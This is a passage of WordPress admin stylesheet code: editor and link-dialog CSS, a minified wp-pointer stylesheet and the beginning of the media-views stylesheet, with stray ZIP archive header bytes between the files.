	/* Only visible in Windows High Contrast mode */
	outline: 2px solid transparent;
	color: #1d2327;
}

.wp-switch-editor:active {
	background-color: #f6f7f7;
	box-shadow: none;
}

.js .tmce-active .wp-editor-area {
	color: #fff;
}

.tmce-active .quicktags-toolbar {
	display: none;
}

.tmce-active .switch-tmce,
.html-active .switch-html {
	background: #f6f7f7;
	color: #50575e;
	border-bottom-color: #f6f7f7;
}

.wp-media-buttons {
	float: right;
}

.wp-media-buttons .button {
	margin-left: 5px;
	margin-bottom: 4px;
	padding-right: 7px;
	padding-left: 7px;
}

.wp-media-buttons .button:active {
	position: relative;
	top: 1px;
	margin-top: -1px;
	margin-bottom: 1px;
}

.wp-media-buttons .insert-media {
	padding-right: 5px;
}

.wp-media-buttons a {
	text-decoration: none;
	color: #3c434a;
	font-size: 12px;
}

.wp-media-buttons img {
	padding: 0 4px;
	vertical-align: middle;
}

.wp-media-buttons span.wp-media-buttons-icon {
	display: inline-block;
	width: 20px;
	height: 20px;
	line-height: 1;
	vertical-align: middle;
	margin: 0 2px;
}

.wp-media-buttons .add_media span.wp-media-buttons-icon {
	background: none;
}

.wp-media-buttons .add_media span.wp-media-buttons-icon:before {
	font: normal 18px/1 dashicons;
	speak: never;
	-webkit-font-smoothing: antialiased;
	-moz-osx-font-smoothing: grayscale;
}

.wp-media-buttons .add_media span.wp-media-buttons-icon:before {
	content: "\f104";
}

.mce-content-body dl.wp-caption {
	max-width: 100%;
}

/* Quicktags */
.quicktags-toolbar {
	padding: 3px;
	position: relative;
	border-bottom: 1px solid #dcdcde;
	background: #f6f7f7;
	min-height: 30px;
}

.has-dfw .quicktags-toolbar {
	padding-left: 35px;
}

.wp-core-ui .quicktags-toolbar input.button.button-small {
	margin: 2px;
}

.quicktags-toolbar input[value="link"] {
	text-decoration: underline;
}

.quicktags-toolbar input[value="del"] {
	text-decoration: line-through;
}

.quicktags-toolbar input[value="i"] {
	font-style: italic;
}

.quicktags-toolbar input[value="b"] {
	font-weight: 600;
}

.mce-toolbar .mce-btn-group .mce-btn.mce-wp-dfw,
.qt-dfw {
	position: absolute;
	top: 0;
	left: 0;
}

.mce-toolbar .mce-btn-group .mce-btn.mce-wp-dfw {
	margin: 7px 0 0 7px;
}

.qt-dfw {
	margin: 5px 0 0 5px;
}

.qt-fullscreen {
	position: static;
	margin: 2px;
}

@media screen and (max-width: 782px) {
	.mce-toolbar .mce-btn button,
	.qt-dfw {
		padding: 6px 7px;
	}

	/* Compensate for the extra box shadow at the bottom of .mce-btn.mce-primary */
	.mce-toolbar .mce-btn-group .mce-btn.mce-primary button {
		padding: 6px 7px 5px;
	}

	.mce-toolbar .mce-btn-group .mce-btn {
		margin: 1px;
	}

	.qt-dfw {
		width: 36px;
		height: 34px;
	}

	.mce-toolbar .mce-btn-group .mce-btn.mce-wp-dfw {
		margin: 4px 0 0 4px;
	}

	.mce-toolbar .mce-colorbutton .mce-preview {
		right: 8px;
		bottom: 6px;
	}

	.mce-window .mce-btn {
		padding: 2px 0;
	}

	.has-dfw div.mce-toolbar-grp .mce-toolbar.mce-first,
	.has-dfw .quicktags-toolbar {
		padding-left: 40px;
	}
}

@media screen and (min-width: 782px) {
	.wp-core-ui .quicktags-toolbar input.button.button-small {
		/* .button-small is normally 11px, but a bit too small for these buttons. */
		font-size: 12px;
		min-height: 26px;
		line-height: 2;
	}
}

#wp_editbtns,
#wp_gallerybtns {
	padding: 2px;
	position: absolute;
	display: none;
	z-index: 100020;
}

#wp_editimgbtn,
#wp_delimgbtn,
#wp_editgallery,
#wp_delgallery {
	background-color: #f0f0f1;
	margin: 2px;
	padding: 2px;
	border: 1px solid #8c8f94;
	border-radius: 3px;
}

#wp_editimgbtn:hover,
#wp_delimgbtn:hover,
#wp_editgallery:hover,
#wp_delgallery:hover {
	border-color: #50575e;
	background-color: #c3c4c7;
}

/*------------------------------------------------------------------------------
 wp-link
------------------------------------------------------------------------------*/

#wp-link-wrap {
	display: none;
	background-color: #fff;
	box-shadow: 0 3px 6px rgba(0, 0, 0, 0.3);
	width: 500px;
	overflow: hidden;
	margin-right: -250px;
	margin-top: -125px;
	position: fixed;
	top: 50%;
	right: 50%;
	z-index: 100105;
	transition: height 0.2s, margin-top 0.2s;
}

#wp-link-backdrop {
	display: none;
	position: fixed;
	top: 0;
	right: 0;
	left: 0;
	bottom: 0;
	min-height: 360px;
	background: #000;
	opacity: 0.7;
	filter: alpha(opacity=70);
	z-index: 100100;
}

#wp-link {
	position: relative;
	height: 100%;
}

#wp-link-wrap {
	height: 600px;
	margin-top: -300px;
}

#wp-link-wrap .wp-link-text-field {
	display: none;
}

#wp-link-wrap.has-text-field .wp-link-text-field {
	display: block;
}

#link-modal-title {
	background: #fff;
	border-bottom: 1px solid #dcdcde;
	font-size: 18px;
	font-weight: 600;
	line-height: 2;
	margin: 0;
	padding: 0 16px 0 36px;
}

#wp-link-close {
	color: #646970;
	padding: 0;
	position: absolute;
	top: 0;
	left: 0;
	width: 36px;
	height: 36px;
	text-align: center;
	background: none;
	border: none;
	cursor: pointer;
}

#wp-link-close:before {
	font: normal 20px/36px dashicons;
	vertical-align: top;
	speak: never;
	-webkit-font-smoothing: antialiased;
	-moz-osx-font-smoothing: grayscale;
	width: 36px;
	height: 36px;
	content: "\f158";
}

#wp-link-close:hover,
#wp-link-close:focus {
	color: #135e96;
}

#wp-link-close:focus {
	box-shadow: 0 0 0 2px #2271b1;
	/* Only visible in Windows High Contrast mode */
	outline: 2px solid transparent;
	outline-offset: -2px;
}

#wp-link-wrap #link-selector {
	-webkit-overflow-scrolling: touch;
	padding: 0 16px;
	position: absolute;
	top: calc(2.15384615em + 16px);
	right: 0;
	left: 0;
	bottom: calc(2.15384615em + 19px);
	display: flex;
	flex-direction: column;
	overflow: auto;
}

#wp-link ol,
#wp-link ul {
	list-style: none;
	margin: 0;
	padding: 0;
}

#wp-link input[type="text"] {
	box-sizing: border-box;
}

#wp-link #link-options {
	padding: 8px 0 12px;
}

#wp-link p.howto {
	margin: 3px 0;
}

#wp-link p.howto a {
	text-decoration: none;
	color: inherit;
}

#wp-link label input[type="text"] {
	margin-top: 5px;
	width: 70%;
}

#wp-link #link-options label span,
#wp-link #search-panel label span.search-label {
	display: inline-block;
	width: 120px;
	text-align: left;
	padding-left: 5px;
	max-width: 24%;
	vertical-align: middle;
	word-wrap: break-word;
}

#wp-link .link-search-field {
	width: 250px;
	max-width: 70%;
}

#wp-link .link-search-wrapper {
	margin: 5px 0 9px;
	display: block;
}

#wp-link .query-results {
	position: absolute;
	width: calc(100% - 32px);
}

#wp-link .link-search-wrapper .spinner {
	float: none;
	margin: -3px 4px 0 0;
}

#wp-link .link-target {
	padding: 3px 0 0;
}

#wp-link .link-target label {
	max-width: 70%;
}

#wp-link .query-results {
	border: 1px #dcdcde solid;
	margin: 0 0 12px;
	background: #fff;
	overflow: auto;
	max-height: 290px;
}

#wp-link li {
	clear: both;
	margin-bottom: 0;
	border-bottom: 1px solid #f0f0f1;
	color: #2c3338;
	padding: 4px 10px 4px 6px;
	cursor: pointer;
	position: relative;
}

#wp-link .query-notice {
	padding: 0;
	border-bottom: 1px solid #dcdcde;
	background-color: #fff;
	color: #000;
}

#wp-link .query-notice .query-notice-default,
#wp-link .query-notice .query-notice-hint {
	display: block;
	padding: 6px;
	border-right: 4px solid #72aee6;
}

#wp-link .unselectable.no-matches-found {
	padding: 0;
	border-bottom: 1px solid #dcdcde;
	background-color: #f6f7f7;
}

#wp-link .no-matches-found .item-title {
	display: block;
	padding: 6px;
	border-right: 4px solid #d63638;
}

#wp-link .query-results em {
	font-style: normal;
}

#wp-link li:hover {
	background: #f0f6fc;
	color: #101517;
}

#wp-link li.unselectable {
	border-bottom: 1px solid #dcdcde;
}

#wp-link li.unselectable:hover {
	background: #fff;
	cursor: auto;
	color: #2c3338;
}

#wp-link li.selected {
	background: #dcdcde;
	color: #2c3338;
}

#wp-link li.selected .item-title {
	font-weight: 600;
}

#wp-link li:last-child {
	border: none;
}

#wp-link .item-title {
	display: inline-block;
	width: 80%;
	width: calc(100% - 68px);
	word-wrap: break-word;
}

#wp-link .item-info {
	text-transform: uppercase;
	color: #646970;
	font-size: 11px;
	position: absolute;
	left: 5px;
	top: 5px;
}

#wp-link .river-waiting {
	display: none;
	padding: 10px 0;
}

#wp-link .submitbox {
	padding: 8px 16px;
	background: #fff;
	border-top: 1px solid #dcdcde;
	position: absolute;
	bottom: 0;
	right: 0;
	left: 0;
}

#wp-link-cancel {
	line-height: 1.92307692;
	float: right;
}

#wp-link-update {
	line-height: 1.76923076;
	float: left;
}

#wp-link-submit {
	float: left;
}

@media screen and (max-width: 782px) {
	#link-selector {
		padding: 0 16px 60px;
	}

	#wp-link-wrap #link-selector {
		bottom: calc(2.71428571em + 23px);
	}

	#wp-link-cancel {
		line-height: 2.46153846;
	}

	#wp-link .link-target {
		padding-top: 10px;
	}

	#wp-link .submitbox .button {
		margin-bottom: 0;
	}
}

@media screen and (max-width: 520px) {
	#wp-link-wrap {
		width: auto;
		margin-right: 0;
		right: 10px;
		left: 10px;
		max-width: 500px;
	}
}

@media screen and (max-height: 620px) {
	#wp-link-wrap {
		transition: none;
		height: auto;
		margin-top: 0;
		top: 10px;
		bottom: 10px;
	}

	#link-selector {
		overflow: auto;
	}
}

@media screen and (max-height: 290px) {
	#wp-link-wrap {
		height: auto;
		margin-top: 0;
		top: 10px;
		bottom: 10px;
	}

	#link-selector {
		overflow: auto;
		height: calc(100% - 92px);
		padding-bottom: 2px;
	}
}

div.wp-link-preview {
	float: right;
	margin: 5px;
	max-width: 694px;
	overflow: hidden;
	text-overflow: ellipsis;
}

div.wp-link-preview a {
	color: #2271b1;
	text-decoration: underline;
	transition-property: border, background, color;
	transition-duration: .05s;
	transition-timing-function: ease-in-out;
	cursor: pointer;
}

div.wp-link-preview a.wplink-url-error {
	color: #d63638;
}

.mce-inline-toolbar-grp div.mce-flow-layout-item > div {
	display: flex;
	align-items: flex-end;
}

div.wp-link-input {
	float: right;
	margin: 2px;
	max-width: 694px;
}

div.wp-link-input label {
	margin-bottom: 4px;
	display: block;
}

div.wp-link-input input {
	width: 300px;
	padding: 3px;
	box-sizing: border-box;
	line-height: 1.28571429; /* 18px */
	/* Override value inherited from default input fields. */
	min-height: 26px;
}

.mce-toolbar div.wp-link-preview ~ .mce-btn,
.mce-toolbar div.wp-link-input ~ .mce-btn {
	margin: 2px 1px;
}

.mce-inline-toolbar-grp .mce-btn-group .mce-btn:last-child {
	margin-left: 2px;
}

.ui-autocomplete.wplink-autocomplete {
	z-index: 100110;
	max-height: 200px;
	overflow-y: auto;
	padding: 0;
	margin: 0;
	list-style: none;
	position: absolute;
	border: 1px solid #4f94d4;
	box-shadow: 0 1px 2px rgba(79, 148, 212, 0.8);
	background-color: #fff;
}

.ui-autocomplete.wplink-autocomplete li {
	margin-bottom: 0;
	padding: 4px 10px;
	clear: both;
	white-space: normal;
	text-align: right;
}

.ui-autocomplete.wplink-autocomplete li .wp-editor-float-right {
	float: left;
}

.ui-autocomplete.wplink-autocomplete li.ui-state-focus {
	background-color: #dcdcde;
	cursor: pointer;
}

@media screen and (max-width: 782px) {
	div.wp-link-preview,
	div.wp-link-input {
		max-width: 70%;
		max-width: calc(100% - 86px);
	}

	div.wp-link-preview {
		margin: 8px 5px 8px 0;
	}

	div.wp-link-input {
		width: 300px;
	}

	div.wp-link-input input {
		width: 100%;
		font-size: 16px;
		padding: 5px;
	}
}

/* =Overlay Body
-------------------------------------------------------------- */

.mce-fullscreen {
	z-index: 100010;
}

/* =Localization
-------------------------------------------------------------- */
.rtl .wp-switch-editor,
.rtl .quicktags-toolbar input {
	font-family: Tahoma, sans-serif;
}

/* rtl:ignore */
.mce-rtl .mce-flow-layout .mce-flow-layout-item > div {
	direction: rtl;
}

/* rtl:ignore */
.mce-rtl .mce-listbox i.mce-caret {
	left: 6px;
}

html:lang(he-il) .rtl .wp-switch-editor,
html:lang(he-il) .rtl .quicktags-toolbar input {
	font-family: Arial, sans-serif;
}

/* HiDPI */
@media print,
  (min-resolution: 120dpi) {
	.wp-media-buttons .add_media span.wp-media-buttons-icon {
		background: none;
	}
}
PK1Xd[Gv�צ�wp-pointer.min.cssnu�[���/*! This file is auto-generated */
.wp-pointer-content{padding:0 0 10px;position:relative;font-size:13px;background:#fff;border:1px solid #c3c4c7;box-shadow:0 3px 6px rgba(0,0,0,.08)}.wp-pointer-content h3{position:relative;margin:-1px -1px 5px;padding:15px 18px 14px 60px;border:1px solid #2271b1;border-bottom:none;line-height:1.4;font-size:14px;color:#fff;background:#2271b1}.wp-pointer-content h3:before{background:#fff;border-radius:50%;color:#2271b1;content:"\f227";font:normal 20px/1.6 dashicons;position:absolute;top:8px;left:15px;speak:never;text-align:center;width:32px;height:32px;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.wp-pointer-content h4{margin:1.33em 20px 1em;font-size:1.15em}.wp-pointer-content p{padding:0 20px}.wp-pointer-buttons{margin:0;padding:5px 15px;overflow:auto}.wp-pointer-buttons a{float:right;display:inline-block;text-decoration:none}.wp-pointer-buttons a.close{padding-left:3px;position:relative}.wp-pointer-buttons a.close:before{background:0 0;color:#787c82;content:"\f153";display:block!important;font:normal 16px/1 dashicons;speak:never;margin:1px 0;text-align:center;-webkit-font-smoothing:antialiased!important;width:10px;height:100%;position:absolute;left:-15px;top:1px}.wp-pointer-buttons a.close:hover:before{color:#d63638}.wp-pointer-arrow,.wp-pointer-arrow-inner{position:absolute;width:0;height:0}.wp-pointer-arrow{z-index:10;width:0;height:0;border:0 solid transparent}.wp-pointer-arrow-inner{z-index:20}.wp-pointer-top,.wp-pointer-undefined{padding-top:13px}.wp-pointer-bottom{margin-top:-13px;padding-bottom:13px}.wp-pointer-left{padding-left:13px}.wp-pointer-right{margin-left:-13px;padding-right:13px}.wp-pointer-bottom .wp-pointer-arrow,.wp-pointer-top .wp-pointer-arrow,.wp-pointer-undefined .wp-pointer-arrow{left:50px}.wp-pointer-left .wp-pointer-arrow,.wp-pointer-right .wp-pointer-arrow{top:50%;margin-top:-15px}.wp-pointer-top .wp-pointer-arrow,.wp-pointer-undefined .wp-pointer-arrow{top:0;border-width:0 13px 13px;border-bottom-color:#2271b1}.wp-pointer-top .wp-pointer-arrow-inner,.wp-pointer-undefined .wp-pointer-arrow-inner{top:1px;margin-left:-13px;margin-top:-13px;border:13px solid transparent;border-bottom-color:#2271b1;display:block;content:" "}.wp-pointer-bottom .wp-pointer-arrow{bottom:0;border-width:13px 13px 0;border-top-color:#c3c4c7}.wp-pointer-bottom .wp-pointer-arrow-inner{bottom:1px;margin-left:-13px;margin-bottom:-13px;border:13px solid transparent;border-top-color:#fff;display:block;content:" "}.wp-pointer-left .wp-pointer-arrow{left:0;border-width:13px 13px 13px 0;border-right-color:#c3c4c7}.wp-pointer-left .wp-pointer-arrow-inner{left:1px;margin-left:-13px;margin-top:-13px;border:13px solid transparent;border-right-color:#fff;display:block;content:" "}.wp-pointer-right .wp-pointer-arrow{right:0;border-width:13px 0 13px 13px;border-left-color:#c3c4c7}.wp-pointer-right .wp-pointer-arrow-inner{right:1px;margin-right:-13px;margin-top:-13px;border:13px solid transparent;border-left-color:#fff;display:block;content:" "}.wp-pointer.arrow-bottom .wp-pointer-content{margin-bottom:-45px}.wp-pointer.arrow-bottom .wp-pointer-arrow{top:100%;margin-top:-30px}@media screen and (max-width:782px){.wp-pointer{display:none}}PK1Xd[Z �97�7�media-views.cssnu�[���/**
 * Base Styles
 */
.media-modal * {
	box-sizing: content-box;
}

.media-modal input,
.media-modal select,
.media-modal textarea {
	box-sizing: border-box;
}

.media-modal,
.media-frame {
	font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif;
	font-size: 12px;
	-webkit-overflow-scrolling: touch;
}

.media-modal legend {
	padding: 0;
	font-size: 13px;
}

.media-modal label {
	font-size: 13px;
}

.media-modal .legend-inline {
	position: absolute;
	transform: translate(-100%, 50%);
	margin-left: -1%;
	line-height: 1.2;
}

.media-frame a {
	border-bottom: none;
	color: #2271b1;
}

.media-frame a:hover,
.media-frame a:active {
	color: #135e96;
}

.media-frame a:focus {
	box-shadow: 0 0 0 2px #2271b1;
	color: #043959;
	/* Only visible in Windows High Contrast mode */
	outline: 2px solid transparent;
}

.media-frame a.button {
	color: #2c3338;
}

.media-frame a.button:hover {
	color: #1d2327;
}

.media-frame a.button-primary,
.media-frame a.button-primary:hover {
	color: #fff;
}

.media-frame input,
.media-frame textarea {
	padding: 6px 8px;
}

.media-frame select,
.wp-admin .media-frame select {
	min-height: 30px;
	vertical-align: middle;
}

.media-frame input[type="text"],
.media-frame input[type="password"],
.media-frame input[type="color"],
.media-frame input[type="date"],
.media-frame input[type="datetime"],
.media-frame input[type="datetime-local"],
.media-frame input[type="email"],
.media-frame input[type="month"],
.media-frame input[type="number"],
.media-frame input[type="search"],
.media-frame input[type="tel"],
.media-frame input[type="time"],
.media-frame input[type="url"],
.media-frame input[type="week"],
.media-frame textarea,
.media-frame select {
	box-shadow: 0 0 0 transparent;
	border-radius: 4px;
	border: 1px solid #8c8f94;
	background-color: #fff;
	color: #2c3338;
	font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif;
	font-size: 13px;
	line-height: 1.38461538;
}

.media-frame input[type="text"],
.media-frame input[type="password"],
.media-frame input[type="date"],
.media-frame input[type="datetime"],
.media-frame input[type="datetime-local"],
.media-frame input[type="email"],
.media-frame input[type="month"],
.media-frame input[type="number"],
.media-frame input[type="search"],
.media-frame input[type="tel"],
.media-frame input[type="time"],
.media-frame input[type="url"],
.media-frame input[type="week"] {
	padding: 0 8px;
	/* inherits font size 13px */
	line-height: 2.15384615; /* 28px */
}

/* Search field in the Media Library toolbar */
.media-frame.mode-grid .wp-filter input[type="search"] {
	font-size: 14px;
	line-height: 2;
}

.media-frame input[type="text"]:focus,
.media-frame input[type="password"]:focus,
.media-frame input[type="number"]:focus,
.media-frame input[type="search"]:focus,
.media-frame input[type="email"]:focus,
.media-frame input[type="url"]:focus,
.media-frame textarea:focus,
.media-frame select:focus {
	border-color: #3582c4;
	box-shadow: 0 0 0 1px #3582c4;
	outline: 2px solid transparent;
}

.media-frame input:disabled,
.media-frame textarea:disabled,
.media-frame input[readonly],
.media-frame textarea[readonly] {
	background-color: #f0f0f1;
}

.media-frame input[type="search"] {
	-webkit-appearance: textfield;
}

.media-frame ::-webkit-input-placeholder {
	color: #646970;
}

.media-frame ::-moz-placeholder {
	color: #646970;
	opacity: 1;
}

.media-frame :-ms-input-placeholder {
	color: #646970;
}

/*
 * In some cases there's the need of higher specificity,
 * for example higher than `.media-embed .setting`.
 */
.media-frame .hidden,
.media-frame .setting.hidden {
	display: none;
}

/*!
 * jQuery UI Draggable/Sortable 1.11.4
 * http://jqueryui.com
 *
 * Copyright jQuery Foundation and other contributors
 * Released under the MIT license.
 * http://jquery.org/license
 */
.ui-draggable-handle,
.ui-sortable-handle {
	touch-action: none;
}

/**
 * Modal
 */
.media-modal {
	position: fixed;
	top: 30px;
	left: 30px;
	right: 30px;
	bottom: 30px;
	z-index: 160000;
}

.wp-customizer .media-modal {
	z-index: 560000;
}

.media-modal-backdrop {
	position: fixed;
	top: 0;
	left: 0;
	right: 0;
	bottom: 0;
	min-height: 360px;
	background: #000;
	opacity: 0.7;
	z-index: 159900;
}

.wp-customizer .media-modal-backdrop {
	z-index: 559900;
}

.media-modal-close {
	position: absolute;
	top: 0;
	right: 0;
	width: 50px;
	height: 50px;
	margin: 0;
	padding: 0;
	border: 1px solid transparent;
	background: none;
	color: #646970;
	z-index: 1000;
	cursor: pointer;
	outline: none;
	transition: color .1s ease-in-out, background .1s ease-in-out;
}

.media-modal-close:hover,
.media-modal-close:active {
	color: #135e96;
}

.media-modal-close:focus {
	color: #135e96;
	border-color: #4f94d4;
	box-shadow: 0 0 3px rgba(34, 113, 177, 0.8);
	/* Only visible in Windows High Contrast mode */
	outline: 2px solid transparent;
}

.media-modal-close span.media-modal-icon {
	background-image: none;
}

.media-modal-close .media-modal-icon:before {
	content: "\f158";
	font: normal 20px/1 dashicons;
	speak: never;
	vertical-align: middle;
	-webkit-font-smoothing: antialiased;
	-moz-osx-font-smoothing: grayscale;
}

.media-modal-content {
	position: absolute;
	top: 0;
	left: 0;
	right: 0;
	bottom: 0;
	overflow: auto;
	min-height: 300px;
	box-shadow: 0 5px 15px rgba(0, 0, 0, 0.7);
	background: #fff;
	-webkit-font-smoothing: subpixel-antialiased;
}

.media-modal-content .media-frame select.attachment-filters {
	margin-top: 32px;
	margin-right: 2%;
	width: 42%;
	width: calc(48% - 12px);
}

/* higher specificity */
.wp-core-ui .media-modal-icon {
	background-image: url(../images/uploader-icons.png);
	background-repeat: no-repeat;
}

/**
 * Toolbar
 */
.media-toolbar {
	position: absolute;
	top: 0;
	left: 0;
	right: 0;
	z-index: 100;
	height: 60px;
	padding: 0 16px;
	border: 0 solid #dcdcde;
	overflow: hidden;
}

.media-frame-toolbar .media-toolbar {
	top: auto;
	bottom: -47px;
	height: auto;
	overflow: visible;
	border-top: 1px solid #dcdcde;
}

.media-toolbar-primary {
	float: right;
	height: 100%;
	position: relative;
}

.media-toolbar-secondary {
	float: left;
	height: 100%;
}

.media-toolbar-primary > .media-button,
.media-toolbar-primary > .media-button-group {
	margin-left: 10px;
	float: left;
	margin-top: 15px;
}

.media-toolbar-secondary > .media-button,
.media-toolbar-secondary > .media-button-group {
	margin-right: 10px;
	margin-top: 15px;
}

/**
 * Sidebar
 */
.media-sidebar {
	position: absolute;
	top: 0;
	right: 0;
	bottom: 0;
	width: 267px;
	padding: 0 16px;
	z-index: 75;
	background: #f6f7f7;
	border-left: 1px solid #dcdcde;
	overflow: auto;
	-webkit-overflow-scrolling: touch;
}

/*
 * Implementation of bottom padding in overflow content differs across browsers.
 * We need a different method. See https://github.com/w3c/csswg-drafts/issues/129
 */
.media-sidebar::after {
	content: "";
	display: flex;
	clear: both;
	height: 24px;
}

.hide-toolbar .media-sidebar {
	bottom: 0;
}

.media-sidebar h2,
.image-details .media-embed h2 {
	position: relative;
	font-weight: 600;
	text-transform: uppercase;
	font-size: 12px;
	color: #646970;
	margin: 24px 0 8px;
}

.media-sidebar .setting,
.attachment-details .setting {
	display: block;
	float: left;
	width: 100%;
	margin: 0 0 10px;
}

.attachment-details h2 {
	display: grid;
	grid-template-columns: auto 5em;
}

.media-sidebar .collection-settings .setting {
	margin: 1px 0;
}

.media-sidebar .setting.has-description,
.attachment-details .setting.has-description {
	margin-bottom: 5px;
}

.media-sidebar .setting .link-to-custom {
	margin: 3px 2px 0;
}

.media-sidebar .setting span, /* Back-compat for pre-5.3 */
.attachment-details .setting span, /* Back-compat for pre-5.3 */
.media-sidebar .setting .name,
.media-sidebar .setting .value,
.attachment-details .setting .name {
	min-width: 30%;
	margin-right: 4%;
	font-size: 12px;
	text-align: right;
	word-wrap: break-word;
}

.media-sidebar .setting .name {
	max-width: 80px;
}

.media-sidebar .setting .value {
	text-align: left;
}

.media-sidebar .setting select {
	max-width: 65%;
}

.media-sidebar .setting input[type="checkbox"],
.media-sidebar .field input[type="checkbox"],
.media-sidebar .setting input[type="radio"],
.media-sidebar .field input[type="radio"],
.attachment-details .setting input[type="checkbox"],
.attachment-details .field input[type="checkbox"],
.attachment-details .setting input[type="radio"],
.attachment-details .field input[type="radio"] {
	float: none;
	margin: 8px 3px 0;
	padding: 0;
}

.media-sidebar .setting span, /* Back-compat for pre-5.3 */
.attachment-details .setting span, /* Back-compat for pre-5.3 */
.media-sidebar .setting .name,
.media-sidebar .setting .value,
.media-sidebar .checkbox-label-inline,
.attachment-details .setting .name,
.attachment-details .setting .value,
.compat-item label span {
	float: left;
	min-height: 22px;
	padding-top: 8px;
	line-height: 1.33333333;
	font-weight: 400;
	color: #646970;
}

.media-sidebar .checkbox-label-inline {
	font-size: 12px;
}

.media-sidebar .copy-to-clipboard-container,
.attachment-details .copy-to-clipboard-container {
	flex-wrap: wrap;
	margin-top: 10px;
	margin-left: calc( 35% - 1px );
	padding-top: 10px;
}

/* Needs high specificity. */
.attachment-details .attachment-info .copy-to-clipboard-container {
	float: none;
}

.media-sidebar .copy-to-clipboard-container .success,
.attachment-details .copy-to-clipboard-container .success {
	padding: 0;
	min-height: 0;
	line-height: 2.18181818;
	text-align: left;
	color: #007017;
}

.compat-item label span {
	text-align: right;
}

.media-sidebar .setting input[type="text"],
.media-sidebar .setting input[type="password"],
.media-sidebar .setting input[type="email"],
.media-sidebar .setting input[type="number"],
.media-sidebar .setting input[type="search"],
.media-sidebar .setting input[type="tel"],
.media-sidebar .setting input[type="url"],
.media-sidebar .setting textarea,
.media-sidebar .setting .value,
.attachment-details .setting input[type="text"],
.attachment-details .setting input[type="password"],
.attachment-details .setting input[type="email"],
.attachment-details .setting input[type="number"],
.attachment-details .setting input[type="search"],
.attachment-details .setting input[type="tel"],
.attachment-details .setting input[type="url"],
.attachment-details .setting textarea,
.attachment-details .setting .value,
.attachment-details .setting + .description {
	box-sizing: border-box;
	margin: 1px;
	width: 65%;
	float: right;
}

.media-sidebar .setting .value,
.attachment-details .setting .value,
.attachment-details .setting + .description {
	margin: 0 1px;
	text-align: left;
}

.attachment-details .setting + .description {
	clear: both;
	font-size: 12px;
	font-style: normal;
	margin-bottom: 10px;
}

.media-sidebar .setting textarea,
.attachment-details .setting textarea,
.compat-item .field textarea {
	height: 62px;
	resize: vertical;
}

.media-sidebar .alt-text textarea,
.attachment-details .alt-text textarea,
.compat-item .alt-text textarea,
.alt-text textarea {
	height: 50px;
}

.compat-item {
	float: left;
	width: 100%;
	overflow: hidden;
}

.compat-item table {
	width: 100%;
	table-layout: fixed;
	border-spacing: 0;
	border: 0;
}

.compat-item tr {
	padding: 2px 0;
	display: block;
	overflow: hidden;
}

.compat-item .label,
.compat-item .field {
	display: block;
	margin: 0;
	padding: 0;
}

.compat-item .label {
	min-width: 30%;
	margin-right: 4%;
	float: left;
	text-align: right;
}

.compat-item .label span {
	display: block;
	width: 100%;
}

.compat-item .field {
	float: right;
	width: 65%;
	margin: 1px;
}

.compat-item .field input[type="text"],
.compat-item .field input[type="password"],
.compat-item .field input[type="email"],
.compat-item .field input[type="number"],
.compat-item .field input[type="search"],
.compat-item .field input[type="tel"],
.compat-item .field input[type="url"],
.compat-item .field textarea {
	width: 100%;
	margin: 0;
	box-sizing: border-box;
}

.sidebar-for-errors .attachment-details,
.sidebar-for-errors .compat-item,
.sidebar-for-errors .media-sidebar .media-progress-bar,
.sidebar-for-errors .upload-details {
	display: none !important;
}

/**
 * Menu
 */
.media-menu {
	position: absolute;
	top: 0;
	left: 0;
	right: 0;
	bottom: 0;
	margin: 0;
	padding: 50px 0 10px;
	background: #f6f7f7;
	border-right-width: 1px;
	border-right-style: solid;
	border-right-color: #c3c4c7;
	-webkit-user-select: none;
	user-select: none;
}

.media-menu .media-menu-item {
	display: block;
	box-sizing: border-box;
	width: 100%;
	position: relative;
	border: 0;
	margin: 0;
	padding: 8px 20px;
	font-size: 14px;
	line-height: 1.28571428;
	background: transparent;
	color: #2271b1;
	text-align: left;
	text-decoration: none;
	cursor: pointer;
}

.media-menu .media-menu-item:hover {
	background: rgba(0, 0, 0, 0.04);
}

.media-menu .media-menu-item:active {
	color: #2271b1;
	outline: none;
}

.media-menu .active,
.media-menu .active:hover {
	color: #1d2327;
	font-weight: 600;
}

.media-menu .media-menu-item:focus {
	box-shadow: 0 0 0 2px #2271b1;
	color: #043959;
	/* Only visible in Windows High Contrast mode */
	outline: 2px solid transparent;
}

.media-menu .separator {
	height: 0;
	margin: 12px 20px;
	padding: 0;
	border-top: 1px solid #dcdcde;
}

/**
 * Menu
 */
.media-router {
	position: relative;
	padding: 0 6px;
	margin: 0;
	clear: both;
}

.media-router .media-menu-item {
	position: relative;
	float: left;
	border: 0;
	margin: 0;
	padding: 8px 10px 9px;
	height: 18px;
	line-height: 1.28571428;
	font-size: 14px;
	text-decoration: none;
	background: transparent;
	cursor: pointer;
	transition: none;
}

.media-router .media-menu-item:last-child {
	border-right: 0;
}

.media-router .media-menu-item:hover,
.media-router .media-menu-item:active {
	color: #2271b1;
}

.media-router .active,
.media-router .active:hover {
	color: #1d2327;
}

.media-router .media-menu-item:focus {
	box-shadow: 0 0 0 2px #2271b1;
	color: #043959;
	/* Only visible in Windows High Contrast mode */
	outline: 2px solid transparent;
	z-index: 1;
}

.media-router .active,
.media-router .media-menu-item.active:last-child {
	margin: -1px -1px 0;
	background: #fff;
	border: 1px solid #dcdcde;
	border-bottom: none;
}

.media-router .active:after {
	display: none;
}

/**
 * Frame
 */
.media-frame {
	overflow: hidden;
	position: absolute;
	top: 0;
	left: 0;
	right: 0;
	bottom: 0;
}

.media-frame-menu {
	position: absolute;
	top: 0;
	left: 0;
	bottom: 0;
	width: 200px;
	z-index: 150;
}

.media-frame-title {
	position: absolute;
	top: 0;
	left: 200px;
	right: 0;
	height: 50px;
	z-index: 200;
}

.media-frame-router {
	position: absolute;
	top: 50px;
	left: 200px;
	right: 0;
	height: 36px;
	z-index: 200;
}

.media-frame-content {
	position: absolute;
	top: 84px;
	left: 200px;
	right: 0;
	bottom: 61px;
	height: auto;
	width: auto;
	margin: 0;
	overflow: auto;
	background: #fff;
	border-top: 1px solid #dcdcde;
}

.media-frame-toolbar {
	position: absolute;
	left: 200px;
	right: 0;
	z-index: 100;
	bottom: 60px;
	height: auto;
}

.media-frame.hide-menu .media-frame-title,
.media-frame.hide-menu .media-frame-router,
